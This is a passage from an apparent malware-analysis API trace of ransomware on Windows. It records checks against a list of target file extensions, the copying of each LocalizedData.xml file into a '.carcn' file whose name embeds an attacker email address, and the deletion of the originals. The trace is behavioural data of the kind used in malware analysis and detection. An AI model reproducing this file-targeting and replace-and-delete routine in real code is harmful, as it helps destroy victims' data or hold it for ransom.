lpString2=".rtf") returned -1 [0159.264] lstrlenW (lpString=".docx") returned 5 [0159.264] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.264] lstrlenW (lpString=".pdf") returned 4 [0159.264] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.264] lstrlenW (lpString=".xls") returned 4 [0159.264] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.264] lstrlenW (lpString=".xlsx") returned 5 [0159.264] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.265] lstrlenW (lpString=".ppt") returned 4 [0159.265] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.265] lstrlenW (lpString=".zip") returned 4 [0159.265] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.265] lstrlenW (lpString=".rar") returned 4 [0159.265] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString=".bz2") returned 4 [0159.265] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString=".7z") returned 3 [0159.265] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.265] lstrlenW (lpString=".dbf") returned 4 [0159.265] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.265] lstrlenW (lpString=".1cd") returned 4 [0159.265] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.265] lstrlenW (lpString=".jpg") returned 4 [0159.265] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.265] lstrlenW (lpString=".doc") returned 4 [0159.265] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString=".docx") returned 5 [0159.265] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.265] lstrlenW (lpString=".pdf") returned 4 [0159.265] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString=".xls") returned 4 [0159.265] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.265] lstrlenW (lpString=".xlsx") returned 5 [0159.265] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.265] lstrlenW (lpString=".ppt") returned 4 [0159.265] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.266] lstrlenW (lpString=".zip") returned 4 [0159.266] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.266] lstrlenW (lpString=".rar") returned 4 [0159.266] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.266] lstrlenW (lpString=".bz2") returned 4 [0159.266] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.266] lstrlenW (lpString=".7z") returned 3 [0159.266] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.266] lstrlenW (lpString=".dbf") returned 4 [0159.266] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.266] lstrlenW (lpString=".1cd") returned 4 [0159.266] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.266] lstrlenW (lpString=".jpg") returned 4 [0159.266] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.266] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0159.266] lstrlenW (lpString="LocalizedData.xml") returned 17 [0159.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.705] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=86284) returned 1 [0159.705] CloseHandle (hObject=0x314) returned 1 [0159.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0159.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.705] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.705] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0160.104] GetLastError () returned 0x0 [0160.104] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x1510c, lpOverlapped=0x0) returned 1 [0160.636] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x15110, lpOverlapped=0x0) returned 1 [0160.638] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0160.638] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0160.638] SetEndOfFile (hFile=0x304) returned 1 [0160.638] CloseHandle (hObject=0x304) returned 1 [0160.640] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0160.640] SetEndOfFile (hFile=0x314) returned 1 [0160.641] CloseHandle (hObject=0x314) returned 1 [0160.641] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.641] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0160.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.641] lstrlenW (lpString=".doc") returned 4 [0160.642] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString=".docx") returned 5 [0160.642] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0160.642] lstrlenW (lpString=".pdf") returned 4 [0160.642] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString=".xls") returned 4 [0160.642] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString=".xlsx") returned 5 [0160.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0160.642] lstrlenW (lpString=".ppt") returned 4 [0160.642] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.642] lstrlenW (lpString=".zip") returned 4 [0160.642] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0160.642] lstrlenW (lpString=".rar") returned 4 [0160.642] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString=".bz2") returned 4 [0160.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString=".7z") returned 3 [0160.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0160.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.642] lstrlenW (lpString=".dbf") returned 4 [0160.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.642] lstrlenW (lpString=".1cd") returned 4 [0160.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.642] lstrlenW (lpString=".jpg") returned 4 [0160.642] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.642] lstrlenW (lpString=".doc") returned 4 [0160.642] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0160.642] lstrlenW (lpString=".docx") returned 5 [0160.643] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0160.643] lstrlenW (lpString=".pdf") returned 4 [0160.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0160.643] lstrlenW (lpString=".xls") returned 4 [0160.643] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0160.643] lstrlenW (lpString=".xlsx") returned 5 [0160.643] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0160.643] lstrlenW (lpString=".ppt") returned 4 [0160.643] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0160.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.643] lstrlenW (lpString=".zip") returned 4 [0160.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0160.643] lstrlenW (lpString=".rar") returned 4 [0160.643] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0160.643] lstrlenW (lpString=".bz2") returned 4 [0160.643] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0160.643] lstrlenW (lpString=".7z") returned 3 [0160.643] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0160.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.643] lstrlenW (lpString=".dbf") returned 4 [0160.643] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0160.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.643] lstrlenW (lpString=".1cd") returned 4 [0160.643] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0160.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0160.643] lstrlenW (lpString=".jpg") returned 4 [0160.643] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0160.643] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0160.643] lstrlenW (lpString="LocalizedData.xml") returned 17 [0160.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.644] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=77022) returned 1 [0160.644] CloseHandle (hObject=0x314) returned 1 [0160.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0160.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.644] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0160.644] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0160.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0160.645] GetLastError () returned 0x0 [0160.645] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x12cde, lpOverlapped=0x0) returned 1 [0160.893] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0160.896] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0160.896] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0160.896] SetEndOfFile (hFile=0x304) returned 1 [0160.896] CloseHandle (hObject=0x304) returned 1 [0160.898] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0160.898] SetEndOfFile (hFile=0x314) returned 1 [0160.899] CloseHandle (hObject=0x314) returned 1 [0160.899] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.899] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0160.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.899] lstrlenW (lpString=".doc") returned 4 [0160.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString=".docx") returned 5 [0160.900] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0160.900] lstrlenW (lpString=".pdf") returned 4 [0160.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString=".xls") returned 4 [0160.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString=".xlsx") returned 5 [0160.900] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0160.900] lstrlenW (lpString=".ppt") returned 4 [0160.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.900] lstrlenW (lpString=".zip") returned 4 [0160.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0160.900] lstrlenW (lpString=".rar") returned 4 [0160.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString=".bz2") returned 4 [0160.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString=".7z") returned 3 [0160.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0160.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.900] lstrlenW (lpString=".dbf") returned 4 [0160.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.900] lstrlenW (lpString=".1cd") returned 4 [0160.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.900] lstrlenW (lpString=".jpg") returned 4 [0160.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.900] lstrlenW (lpString=".doc") returned 4 [0160.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0160.900] lstrlenW (lpString=".docx") returned 5 [0160.901] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0160.901] lstrlenW (lpString=".pdf") returned 4 [0160.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0160.901] lstrlenW (lpString=".xls") returned 4 [0160.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0160.901] lstrlenW (lpString=".xlsx") returned 5 [0160.901] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0160.901] lstrlenW (lpString=".ppt") returned 4 [0160.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0160.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.901] lstrlenW (lpString=".zip") returned 4 [0160.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0160.901] lstrlenW (lpString=".rar") returned 4 [0160.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0160.901] lstrlenW (lpString=".bz2") returned 4 [0160.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0160.901] lstrlenW (lpString=".7z") returned 3 [0160.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0160.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.901] lstrlenW (lpString=".dbf") returned 4 [0160.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0160.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.901] lstrlenW (lpString=".1cd") returned 4 [0160.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0160.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0160.901] lstrlenW (lpString=".jpg") returned 4 [0160.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0160.901] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0160.901] lstrlenW (lpString="LocalizedData.xml") returned 17 [0160.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.902] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=82962) returned 1 [0160.902] CloseHandle (hObject=0x314) returned 1 [0160.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0160.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.902] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0160.902] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0160.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0160.902] GetLastError () returned 0x0 [0160.902] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x14412, lpOverlapped=0x0) returned 1 [0161.024] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x14420, lpOverlapped=0x0) returned 1 [0161.026] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.026] WriteFile (in: hFile=0x304, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.026] SetEndOfFile (hFile=0x304) returned 1 [0161.026] CloseHandle (hObject=0x304) returned 1 [0161.028] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.028] SetEndOfFile (hFile=0x314) returned 1 [0161.029] CloseHandle (hObject=0x314) returned 1 [0161.029] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.029] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0161.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.030] lstrlenW (lpString=".doc") returned 4 [0161.030] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.030] lstrlenW (lpString=".docx") returned 5 [0161.030] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.030] lstrlenW (lpString=".pdf") returned 4 [0161.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.030] lstrlenW (lpString=".xls") returned 4 [0161.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.030] lstrlenW (lpString=".xlsx") returned 5 [0161.030] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.030] lstrlenW (lpString=".ppt") returned 4 [0161.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.030] lstrlenW (lpString=".zip") returned 4 [0161.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.030] lstrlenW (lpString=".rar") returned 4 [0161.030] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.030] lstrlenW (lpString=".bz2") returned 4 [0161.030] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.030] lstrlenW (lpString=".7z") returned 3 [0161.030] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.030] lstrlenW (lpString=".dbf") returned 4 [0161.030] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.030] lstrlenW (lpString=".1cd") returned 4 [0161.030] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.031] lstrlenW (lpString=".jpg") returned 4 [0161.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0161.031] lstrlenW (lpString=".doc") returned 4 [0161.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString=".docx") returned 5 [0161.031] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.031] lstrlenW (lpString=".pdf") returned 4 [0161.031] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString=".xls") returned 4 [0161.031] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.031] lstrlenW (lpString=".xlsx") returned 5 [0161.031] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.031] lstrlenW (lpString=".ppt") returned 4 [0161.031] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.031] lstrlenW 